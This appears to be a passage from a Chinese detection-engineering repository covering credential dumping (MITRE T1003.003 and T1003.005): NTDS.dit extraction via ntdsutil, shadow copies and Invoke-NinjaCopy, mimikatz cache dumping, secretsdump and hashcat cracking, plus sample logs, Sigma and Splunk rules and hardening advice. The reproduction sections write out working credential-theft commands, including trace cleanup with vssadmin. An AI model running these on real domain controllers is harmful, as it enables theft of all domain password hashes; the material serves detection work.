此服务器可能无法确保IFM数据的安全,包括复制Ntds.dit文件并提取凭证数据。这个命令也可以通过 WMI 或 PowerShell 远程执行。(建议使用powershell执行,DOS命令执行异常错误) ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Windows\system32\ntdsutil.exe: ac i ntds 活动实例设置为“ntds”。 C:\Windows\system32\ntdsutil.exe: ifm ifm: create full c:\temp 正在创建快照... 成功生成快照集 {ea08df62-9743-4068-aedb-a2c32dfd057f}。 快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已作为 C:\$SNAP_201911011107_VOLUMEC$\ 装载 已装载快照 {2d92b366-961f-45f0-9202-9aa6f069139f}。 正在启动碎片整理模式... 源数据库: C:\$SNAP_201911011107_VOLUMEC$\Windows\NTDS\ntds.dit 目标数据库: c:\temp\Active Directory\ntds.dit Defragmentation Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| ................................................... 正在复制注册表文件... 正在复制 c:\temp\registry\SYSTEM 正在复制 c:\temp\registry\SECURITY 快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已卸载。 在 c:\temp 中成功创建 IFM 媒体。 ifm: q C:\Windows\system32\ntdsutil.exe: q ``` ## 测试留痕 暂无 ## 检测规则/思路 建议针对进程、进程命令行参数进行监控。针对进程、进程命令行监控需要特定的环境,比如配置审核策略、采集sysmon日志等。 ## 参考推荐 - MITRE-ATT&CK-T1003-003 - NTDSutil简介 ================================================ FILE: Windows/08凭证访问/T1003.003-Win-基于NTDS进行凭证获取2.md ================================================ # T1003.003-基于NTDS凭证获取 ## 描述 攻击者可能试图访问或创建ActiveDirectory域数据库(NTDS.dit)的副本,以窃取凭据信息(如密码哈希)并获取域成员(设备、用户、访问权限)的信息。NTDS.dit是存储ActiveDirectory数据的核心数据库,包含域用户、组及其密码哈希(NTLM哈希),默认位于域控制器(DC)的`%SystemRoot%\NTDS\ntds.dit`(通常为`C:\Windows\NTDS\ntds.dit`)。访问该文件需域管理员权限或物理访问权限。 攻击者可通过以下工具和技术提取NTDS.dit中的哈希: - **Ntdsutil.exe**:创建NTDS.dit快照。 - **卷影副本(VolumeShadowCopy)**:通过VSS复制NTDS.dit。 - **Secretsdump.py**:离线提取哈希。 - **Mimikatz**:本地或远程转储凭据。 - **PowerSploit(Invoke-NinjaCopy)**:远程复制NTDS.dit。 - **DCSync**:模拟域控制器同步凭据。 提取的哈希可用于密码破解(通过Hashcat)或传递哈希攻击(通过Mimikatz),导致域环境沦陷。若攻击者获取NTDS.dit副本(例如备份),无需提权即可离线提取凭据。 **可访问NTDS.dit的组**: - EnterpriseAdmins(目录林管理员) - DomainAdmins(域管理员) - Administrators(本地管理员) - BackupOperators(备份操作员) - AccountOperators(账户操作员) - PrintOperators(打印机操作员) ## 测试案例 ### 测试案例1:使用Ntdsutil创建NTDS.dit快照 通过`ntdsutil.exe`创建域控制器的NTDS.dit快照。 **命令**: ```cmd ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit ``` - **说明**: - 创建包含NTDS.dit和SYSTEM注册表配置单元的快照,输出到`C:\Temp\ntds_dump`。 - 需结合Secretsdump或Mimikatz提取哈希。 - **权限**:域管理员或Administrators组权限。 - **支持系统**:WindowsServer2008、2012、2016、2019。 ### 测试案例2:使用VSS和Vssadmin提取NTDS.dit 通过卷影副本服务(VSS)和`vssadmin`复制NTDS.dit。 **命令**: ```cmd vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.hiv vssadmin delete shadows /all ``` - **说明**: - 创建C盘卷影副本,复制NTDS.dit和SYSTEM文件。 - 删除卷影副本以清理痕迹。 - **权限**:域管理员权限。 ### 测试案例3:使用Invoke-NinjaCopy远程复制NTDS.dit 通过PowerSploit的Invoke-NinjaCopy远程复制NTDS.dit。 **命令**: ```powershell Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\Temp\ntds.dit" ``` - **说明**: - 需目标DC启用PowerShell远程管理(WinRM)。 - 绕过文件锁直接复制NTDS.dit。 - **权限**:域管理员权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`ntdsutil.exe`、`vssadmin.exe`或`powershell.exe`的执行。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录导出的NTDS.dit或`.hiv`文件。 - 事件ID13:注册表修改,记录对`HKLM\SYSTEM`的访问。 - Windows应用日志: - 来源:`Microsoft-Windows-ESE`,事件ID2001、2003、2005、2006、216、300、302,记录卷影副本操作。 - 文件监控: - 检测非系统路径下的NTDS.dit或`.hiv`文件。 - 网络监控: - 检测NTDS.dit文件通过SMB或HTTP传输。 ### 日志示例 - 安全日志(事件ID4688): ``` 进程信息: 新进程名称:C:\Windows\System32\ntdsutil.exe 命令行:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit 创建者进程名称:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID1: ``` 事件ID:1 OriginalFileName:ntdsutil.exe CommandLine:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit CurrentDirectory:C:\Users\admin\ User:DOMAIN\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 应用日志(事件ID2005): ``` 来源:Microsoft-Windows-ESE 事件ID:2005 消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。 ``` ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:WindowsServer2012(域控制器,安装ActiveDirectory) - 工具: - MetasploitFramework(提权和监听) - Mimikatz或Secretsdump.py(哈希提取) - PowerSploit(Invoke-NinjaCopy) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用Ntdsutil创建NTDS.dit快照 1. **获取域管理员权限**: - 使用Metasploit提权或已有域管理员账户登录: ```cmd whoami /priv ``` 2. **创建快照**: 在域控制器上执行: ```cmd ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit ``` 3. **复制文件到攻击机**: 通过SMB或HTTP将`C:\Temp\ntds_dump\ntds.dit`和`C:\Temp\ntds_dump\registry\SYSTEM`传输到攻击机。 4. **提取哈希**: 使用Secretsdump: ```bash secretsdump.py -ntds C:\Temp\ntds.dit -system C:\Temp\system.hiv LOCAL ``` - 示例输出: ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b::: ``` 5. **破解哈希**: 使用Hashcat: ```bash hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt ``` 6. **结果分析**: - 成功:提取域用户哈希,可用于密码破解或传递哈希攻击。 - 失败可能: - 权限不足。 - 防病毒软件阻止快照创建。 - 文件传输被防火墙拦截。 #### 测试2:使用VSS和Vssadmin提取NTDS.dit 1. **创建卷影副本**: 在域控制器上执行: ```cmd vssadmin create shadow /for=C: ``` 2. **复制NTDS.dit和SYSTEM**: ```cmd copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.hiv ``` 3. **清理痕迹**: ```cmd vssadmin delete shadows /all ``` 4. **提取哈希**: 重复测试1的步骤3-5。 5. **结果分析**: - 成功:通过卷影副本获取NTDS.dit并提取哈希。 - 失败可能:VSS服务未启用或权限不足。 #### 测试3:使用Invoke-NinjaCopy远程复制 1. **启用WinRM**: 在目标DC上启用PowerShell远程管理: ```cmd winrm quickconfig ``` 2. **执行Invoke-NinjaCopy**: 在攻击机上运行PowerSploit: ```powershell Import-Module .\Invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\Temp\ntds.dit" -ComputerName DC01 ``` 3. **提取哈希**: 重复测试1的步骤3-5。 4. **结果分析**: - 成功:远程复制NTDS.dit并提取哈希。 - 失败可能:WinRM未启用或网络限制。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x1234 新进程名称:C:\Windows\System32\ntdsutil.exe 命令行:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit 创建者进程名称:C:\Windows\System32\cmd.exe ``` ``` 进程信息: 新进程ID:0x5678 新进程名称:C:\Windows\System32\vssadmin.exe 命令行:vssadmin create shadow /for=C: 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:ntdsutil.exe CommandLine:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit CurrentDirectory:C:\Users\admin\ User:DOMAIN\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:vssadmin.exe CommandLine:vssadmin create shadow /for=C: CurrentDirectory:C:\Users\admin\ User:DOMAIN\admin Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\ntdsutil.exe TargetFilename:C:\Temp\ntds_dump\ntds.dit ``` ### Windows应用日志 - 事件ID2005: ``` 来源:Microsoft-Windows-ESE 事件ID:2005 消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。 ``` - 事件ID216: ``` 来源:Microsoft-Windows-ESE 事件ID:216 消息:lsass(508)检测到数据库位置从“C:\Windows\NTDS\ntds.dit”更改为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit”。 ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`ntdsutil.exe`的执行,尤其是`ifm`或`create full`参数。 - 检测`vssadmin.exe`的执行,特别是`create shadow`或`delete shadows`命令。 - 检测`powershell.exe`运行`Invoke-NinjaCopy`。 2. 命令行分析: - 正则表达式匹配: ```regex ntdsutil\.exe.*(ifm|create\s+full) ``` ```regex vssadmin\.exe.*(create\s+shadow|delete\s+shadows) ``` ```regex powershell\.exe.*Invoke-NinjaCopy.*ntds\.dit ``` 3. 文件监控: - 检测非系统路径下的NTDS.dit或`.hiv`文件。 - 监控对`C:\Windows\NTDS\ntds.dit`的异常访问。 4. 应用日志分析: - 检测卷影副本相关事件(2001、2003、2005、2006、216、300、302)。 5. 网络监控: - 检测NTDS.dit文件通过SMB或HTTP传输。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: VSS卷影复制提取NTDS.dit文件 id: 8c9d0e1f-2a3b-4c5d-6e7f-8a9b0c1d2e3f description: 检测vssadmin.exe或ntdsutil.exe操作NTDS.dit,可能用于凭证窃取 status: experimental references: - https://1sparrow.com/2018/02/19/域渗透相关/ tags: - attack.credential_access - attack.t1003.003 logsource: product: windows service: sysmon detection: selection_vssadmin: EventID: 1 Image|endswith: '\vssadmin.exe' CommandLine|contains: - 'create shadow' - 'delete shadows' selection_ntdsutil: EventID: 1 Image|endswith: '\ntdsutil.exe' CommandLine|contains: - 'ifm' - 'create full' selection_ninjacopy: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: 'Invoke-NinjaCopy' filter_legitimate: CurrentDirectory|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: (selection_vssadmin or selection_ntdsutil or selection_ninjacopy) and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的域控制器备份操作 level: high ``` 规则说明: - 目标:检测`vssadmin.exe`、`ntdsutil.exe`或`Invoke-NinjaCopy`提取NTDS.dit的行为。 - 过滤:排除合法备份目录的操作。 - 日志来源:Sysmon事件ID1。 - 误报处理:备份操作可能触发,需结合上下文分析。 - 级别:标记为“高”优先级,因NTDS.dit提取通常与严重攻击相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image IN ("*\ntdsutil.exe","*\vssadmin.exe","*\powershell.exe") CommandLine IN ("*ifm*","*create full*","*create shadow*","*delete shadows*","*Invoke-NinjaCopy*")) OR (EventCode=11 FileName IN ("*ntds.dit","*.hiv") TargetFilename IN ("*\ntdsutil.exe","*\vssadmin.exe")) | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`ntdsutil.exe`、`vssadmin.exe`或`Invoke-NinjaCopy`的执行及生成的NTDS.dit文件。 - 减少误报:结合命令行和文件访问行为分析。 ### 检测挑战 - 误报:合法备份操作可能触发,需建立备份行为基线。 - 日志依赖:需启用Sysmon和应用日志。 - 权限要求:检测需重点关注域管理员权限的异常使用。 ## 防御建议 1. 监控和日志: - 启用命令行审计和应用日志,确保事件ID4688、2001-2006、216、300、302记录完整。 - 部署Sysmon,配置针对`ntdsutil.exe`、`vssadmin.exe`和`powershell.exe`的规则。 2. 权限控制: - 限制域管理员账户使用,启用多因素认证(MFA)。 - 限制BackupOperators和AccountOperators的权限。 3. 文件保护: - 启用文件完整性监控,检测对`C:\Windows\NTDS\ntds.dit`的异常访问。 - 定期备份NTDS.dit到安全位置。 4. 限制VSS和WinRM: - 禁用非必要的卷影副本服务。 - 限制PowerShell远程管理(WinRM)到受信任主机。 5. 安全更新: - 保持WindowsServer更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1003.003: - 从活动目录中获取域管理员权限的6种方法: - 如何从NTDS.dit中提取Hash和域信息: - 域渗透-获得域控服务器的NTDS.dit文件: - 从NTDS.dit获取密码哈希的三种方法: - 从NTDS.dit文件中提取密码哈希值: - 攻击者如何转储AD数据库凭据: - 在AD中获得域管理员权限的攻击方法: - 转储活动目录数据库方法总结: - PowerShell开启远程管理: - 卷影复制NTDS.dit域散列远程: - 从NTDS.dit文件获取哈希: - Sysmon配置与检测: - PowerSploit:用于Invoke-NinjaCopy的工具。 - Secretsdump.py:用于NTDS.dit哈希提取。 ================================================ FILE: Windows/08凭证访问/T1003.003-Win-基于应用日志检测Ntdsutil获取凭证.md ================================================ # T1003.003-基于应用日志检测Ntdsutil获取凭证 ## 描述 攻击者可能通过访问或创建ActiveDirectory域数据库(NTDS.dit)的副本,窃取凭据信息(如用户密码哈希)以及获取域成员(如设备、用户和访问权限)的详细信息。NTDS.dit是存储ActiveDirectory数据的核心数据库,包含域用户、组及其密码哈希(NTLM哈希),默认位于域控制器(DC)的`%SystemRoot%\NTDS\Ntds.dit`(通常为`C:\Windows\NTDS\ntds.dit`)。攻击者需要域管理员权限或物理访问权限才能访问该文件。 攻击者常使用以下工具或技术枚举NTDS.dit: - **Ntdsutil.exe**:Windows内置工具,可创建NTDS.dit的快照。 - **卷影副本(VolumeShadowCopy)**:通过VSS(卷影拷贝服务)复制NTDS.dit。 - **Secretsdump.py**:从NTDS.dit提取哈希。 - **直接备份**:复制NTDS.dit或其备份文件。 获取NTDS.dit后,攻击者可离线提取哈希,用于密码破解或传递哈希(Pass-the-Hash)攻击,导致域环境沦陷。 ## 测试案例 ### 测试案例1:使用Ntdsutil创建NTDS.dit快照 通过`ntdsutil.exe`创建域控制器NTDS.dit的快照,提取ActiveDirectory数据库。 **命令**: ```cmd ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit ``` - **说明**: - `activate instance ntds`:激活NTDS实例。 - `ifm`:进入InstallfromMedia模式。 - `create full`:创建包含NTDS.dit和SYSTEM注册表配置单元的完整快照。 - 输出路径:`C:\Temp\ntds_dump`。 - **权限**:需要域管理员或本地Administrators组权限。 - **支持系统**:WindowsServer2008、2012、2016、2019。 ### 测试案例2:使用VSS和Diskshadow提取NTDS.dit 通过卷影副本服务(VSS)和`diskshadow`工具复制NTDS.dit。 **命令**: ```cmd echo create context persistent > diskshadow.txt echo create > diskshadow.txt echo exec copy_ntds.bat > diskshadow.txt diskshadow /s diskshadow.txt ``` - **copy_ntds.bat**: ```cmd copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.hiv ``` - **说明**: - 创建卷影副本,复制NTDS.dit和SYSTEM文件。 - 需要结合Mimikatz或Secretsdump提取哈希。 - **权限**:需要域管理员权限。 ### 测试案例3:使用Secretsdump提取哈希 从导出的NTDS.dit和SYSTEM文件中提取NTLM哈希。 **命令**: ```bash secretsdump.py -ntds C:\Temp\ntds.dit -system C:\Temp\system.hiv LOCAL ``` - **说明**: - 离线提取域用户的NTLM哈希。 - **权限**:普通用户可执行Secretsdump,但需提供导出的NTDS.dit和SYSTEM文件。 ## 检测日志 ### 数据来源 - Windows应用日志: - 来源:`Microsoft-Windows-ESE`和`LSASS`,记录卷影副本和数据库操作。 - 事件ID2001、2003、2005、2006、216、300、302:与卷影副本和NTDS.dit访问相关。 - Windows安全日志: - 事件ID4688:进程创建,记录`ntdsutil.exe`或`diskshadow.exe`的执行。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录导出的NTDS.dit或`.hiv`文件。 - 事件ID13:注册表修改,记录对`HKLM\SYSTEM`的访问。 - 文件监控: - 检测非系统路径下的NTDS.dit或`.hiv`文件。 - 网络监控: - 检测导出的NTDS.dit文件通过SMB或HTTP传输。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:WindowsServer2012(域控制器,安装ActiveDirectory) - 工具: - Mimikatz或Secretsdump.py(哈希提取) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用Ntdsutil创建NTDS.dit快照 1. **获取域管理员权限**: - 使用已有的域管理员账户登录域控制器,或通过提权(如Metasploit的`getsystem`)获得权限。 ```cmd whoami /priv ``` 2. **创建NTDS.dit快照**: 在域控制器上执行: ```cmd ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit ``` - 输出路径:`C:\Temp\ntds_dump\ntds.dit`和`C:\Temp\ntds_dump\registry\SYSTEM`。 3. **复制文件到攻击机**: 将`ntds.dit`和`SYSTEM`文件通过SMB或HTTP传输到攻击机。 4. **使用Secretsdump提取哈希**: 在攻击机上运行: ```bash secretsdump.py -ntds C:\Temp\ntds.dit -system C:\Temp\system.hiv LOCAL ``` - 示例输出: ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b::: ``` 5. **破解哈希**: 使用hashcat破解NTLM哈希: ```bash hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt ``` ![ntds0](https://s2.ax1x.com/2020/01/14/lqUbDJ.png) 6. **结果分析**: - 成功:提取域用户的NTLM哈希,可用于密码破解或传递哈希攻击。 - 失败可能: - 缺乏域管理员权限。 - 快照创建被防病毒软件阻止。 - 文件传输被防火墙拦截。 #### 测试2:使用VSS和Diskshadow提取NTDS.dit 1. **创建Diskshadow脚本**: 在域控制器上创建`diskshadow.txt`: ```txt create context persistent create exec copy_ntds.bat ``` 创建`copy_ntds.bat`: ```cmd copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.hiv ``` 2. **执行Diskshadow**: ```cmd diskshadow /s diskshadow.txt ``` 3. **提取哈希**: 重复测试1的步骤3-5。 4. **结果分析**: - 成功:通过卷影副本获取NTDS.dit并提取哈希。 - 失败可能:VSS服务未启用或权限不足。 ## 测试留痕 ### Windows应用日志 - 事件ID2005: ``` 来源:Microsoft-Windows-ESE 事件ID:2005 消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。 ``` - 事件ID216: ``` 来源:Microsoft-Windows-ESE 事件ID:216 消息:lsass(508)检测到数据库位置从“C:\Windows\NTDS\ntds.dit”更改为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit”。 ``` ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x1234 新进程名称:C:\Windows\System32\ntdsutil.exe 命令行:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:ntdsutil.exe CommandLine:ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit CurrentDirectory:C:\Users\admin\ User:DOMAIN\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\ntdsutil.exe TargetFilename:C:\Temp\ntds_dump\ntds.dit ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`ntdsutil.exe`的执行,尤其是`ifm`或`create full`参数。 - 检测`diskshadow.exe`的执行,特别是调用脚本或`create`命令。 2. 命令行分析: - 正则表达式匹配: ```regex ntdsutil\.exe.*(ifm|create\s+full) ``` ```regex diskshadow\.exe.*(\/s|create) ``` 3. 文件监控: - 检测非系统路径下的NTDS.dit或`.hiv`文件创建。 - 监控对`C:\Windows\NTDS\ntds.dit`的异常访问。 4. 应用日志分析: - 检测卷影副本相关事件(2001、2003、2005、2006、216、300、302)。 5. 行为分析: - 检测`secretsdump.py`或类似工具的执行。 - 检测导出的NTDS.dit文件被异常程序访问。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: 应用日志检测Ntdsutil获取NTDS.dit文件 id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d description: 检测ntdsutil.exe或卷影副本操作获取NTDS.dit,可能用于凭证窃取 status: experimental references: - https://blog.csdn.net/Fly_hps/article/details/80641987 tags: - attack.credential_access - attack.t1003.003 logsource: product: windows service: application detection: selection: - EventID: 2005 Message|contains: '卷影复制实例.*正在启动' - EventID: 2001 Message|contains: '卷影副本实例.*冻结已开始' - EventID: 2003 Message|contains: '卷影副本实例.*冻结已停止' - EventID: 2006 Message|contains: '卷影复制实例.*已成功完成' - EventID: 216 Message|contains: '数据库位置从.*ntds.dit.*更改为.*HarddiskVolumeShadowCopy' - EventID: 300 Message|contains: '数据库引擎正在初始化恢复步骤' - EventID: 302 Message|contains: '数据库引擎已成功完成恢复步骤' timeframe: 10s condition: all of them fields: - EventID - Message falsepositives: - 合法的域控制器备份操作 level: medium ``` 规则说明: - 目标:检测与NTDS.dit快照创建相关的卷影副本操作。 - 过滤:仅适用于域控制器,需结合上下文排除合法备份。 - 日志来源:Windows应用日志(Microsoft-Windows-ESE)。 - 误报处理:域控制器备份可能触发,需结合时间窗口和进程行为分析。 - 级别:标记为“中”优先级,因需结合其他证据确认恶意行为。 ### Splunk规则 ```spl index=windows source="WinEventLog:Application" (EventID IN (2001,2003,2005,2006,216,300,302) Message IN ("*卷影复制实例*","*ntds.dit*","*数据库引擎*")) OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\ntdsutil.exe","*\diskshadow.exe") CommandLine IN ("*ifm*","*create full*","*/s*")) | fields EventID,Message,Image,CommandLine,User ``` 规则说明: - 检测卷影副本相关应用日志事件及`ntdsutil.exe`或`diskshadow.exe`的执行。 - 减少误报:结合命令行和文件访问行为分析。 ### 检测挑战 - 误报:合法域控制器备份可能触发,需建立备份行为基线。 - 日志依赖:应用日志需启用,Sysmon可增强检测能力。 - 权限要求:检测需重点关注域管理员权限的异常使用。 ## 防御建议 1. 监控和日志: - 启用应用日志和命令行审计策略,确保事件ID2001-2006、216、300、302及4688记录完整。 - 部署Sysmon,配置针对`ntdsutil.exe`和`diskshadow.exe`的规则,监控文件创建和网络活动。 2. 权限控制: - 限制域管理员账户的使用,启用多因素认证(MFA)。 - 监控域控制器上的高权限账户活动。 3. 文件保护: - 启用文件完整性监控,检测对`C:\Windows\NTDS\ntds.dit`的异常访问。 - 定期备份NTDS.dit到安全位置。 4. 禁用不必要的VSS: - 在非备份场景中限制卷影副本服务的使用。 5. 安全更新: - 保持WindowsServer更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1003.003: - 域渗透-获得域控服务器的NTDS.dit文件: - NTDS.dit密码快速提取工具: - MITREATT&CK攻击知识库(企业)中文版: - Windows应用日志留痕文件: - Sysmon配置与检测: - Secretsdump.py:用于NTDS.dit哈希提取。 ================================================ FILE: Windows/08凭证访问/T1003.005-Win-DCC2-mimikatz凭证转储.md ================================================ # T1003.005-Win-DCC2-Mimikatz凭证获取 ## 描述 凭据转储(Credential Dumping,MITRE ATT&CK T1003.005)涉及攻击者提取缓存的域凭据(Domain Cached Credentials,DCC),以在域控制器不可用时进行身份验证。Windows Vista及以上版本使用DCC2(MS-Cache v2,mscash2)哈希格式,存储于注册表`HKEY_LOCAL_MACHINE\SECURITY\Cache`中。DCC2哈希基于PBKDF2算法,较早期mscache1更安全,无法直接用于传递哈希(Pass-the-Hash,PTH)攻击,但可通过密码破解恢复明文密码。攻击者通常以SYSTEM权限使用Mimikatz、secretsdump.py或reg.exe提取缓存凭据。此技术需管理员或SYSTEM权限,常用于横向移动或权限提升。 ## 测试案例 ### 测试环境 - 系统:Windows 10或Windows Server 2019(已加入域abcc.org) - 工具:Mimikatz、reg.exe - 要求:管理员或SYSTEM权限、域环境(abcc.org)、启用Sysmon和Windows安全日志审计 - 用户:域用户(user1,密码:Password123) - 默认缓存:10个用户凭据 ### 测试准备 1. 确认域用户登录: - 使用域账户(如user1@abcc.org)登录系统,确保凭据缓存。 - 验证缓存: ```cmd reg query HKEY_LOCAL_MACHINE\SECURITY\Cache ``` 2. 确认权限: ```cmd whoami /priv ``` - 确保具有`SeDebugPrivilege`或SYSTEM权限。 3. 启用日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。 - 安装Sysmon: - 配置:启用事件ID1(进程创建)、13(注册表操作)。 4. 下载Mimikatz: - URL: - 放置于本地(C:\Tools\mimikatz)。 5. 确保域控制器可访问(生成初始缓存)。 ### 测试步骤 1. **使用Mimikatz提取DCC2哈希**: ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "token::elevate" "lsadump::cache" exit ``` - 输出示例: ``` mscache: * Username: user1 * Domain: ABCC * MSCacheV2: ``` 2. **使用reg.exe导出注册表缓存**: ```cmd reg save HKEY_LOCAL_MACHINE\SECURITY C:\Temp\security.hiv ``` - 验证文件:`dir C:\Temp\security.hiv` 3. **离线破解DCC2哈希**(可选): - 使用hashcat破解: ```cmd hashcat -m 2100 wordlist.txt ``` - 示例格式:`mscash2#user1##ABCC` ### 参考资源 - Mimikatz文档: - DCC2算法: - MSCache破解: ## 检测日志 ### 数据来源 - **Sysmon日志**: - 事件ID1:进程创建(mimikatz.exe、reg.exe) - 事件ID13:注册表操作(HKEY_LOCAL_MACHINE\SECURITY\Cache) - **Windows安全日志**: - 事件ID4688:进程创建(mimikatz.exe、reg.exe) - 事件ID4673:敏感权限调用(如SeDebugPrivilege) - 事件ID4656:注册表访问(需启用对象访问审计) - **文件系统**: - 监控`C:\Temp\`或`%temp%`的`.hiv`文件创建 - **网络流量**(可选): - 捕获`.hiv`文件传输(SMB 445/TCP) ### 日志示例 - **Sysmon事件ID1**(Mimikatz进程创建): ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "token::elevate" "lsadump::cache" ABCC\Administrator ``` - **Sysmon事件ID13**(注册表访问): ```xml HKLM\SECURITY\Cache C:\Tools\mimikatz\mimikatz.exe ABCC\Administrator ``` - **Windows事件ID4656**(注册表访问,需启用审计): ```xml \REGISTRY\MACHINE\SECURITY\Cache C:\Tools\mimikatz\mimikatz.exe Administrator ``` ## 测试复现 ### 环境配置 - 系统:Windows 10(加入域abcc.org) - 工具:Mimikatz、reg.exe - 用户:Administrator(域管理员,密码:Password123) - 日志:Sysmon(事件ID1、13)、Windows安全日志 - 路径:C:\Temp\ ### 复现步骤 1. **验证域用户缓存**: ```cmd reg query HKEY_LOCAL_MACHINE\SECURITY\Cache ``` - 输出:确认缓存存在。 2. **使用Mimikatz提取DCC2哈希**: ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "lsadump::cache" exit ``` - 输出: ``` mscache: * Username: user1 * Domain: ABCC * MSCacheV2: ``` 3. **导出注册表**: ```cmd reg save HKEY_LOCAL_MACHINE\SECURITY C:\Temp\security.hiv ``` - 输出:`操作成功完成。` 4. **验证日志**: - Sysmon事件ID13:确认`HKLM\SECURITY\Cache`访问。 - Sysmon事件ID1:确认`mimikatz.exe`执行。 ## 测试留痕 ### Sysmon日志 - **事件ID1**: ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "lsadump::cache" ABCC\Administrator ``` - **事件ID13**: ```xml HKLM\SECURITY\Cache C:\Tools\mimikatz\mimikatz.exe ABCC\Administrator ``` ### Windows安全日志 - **事件ID4656**(需启用审计): ```xml \REGISTRY\MACHINE\SECURITY\Cache 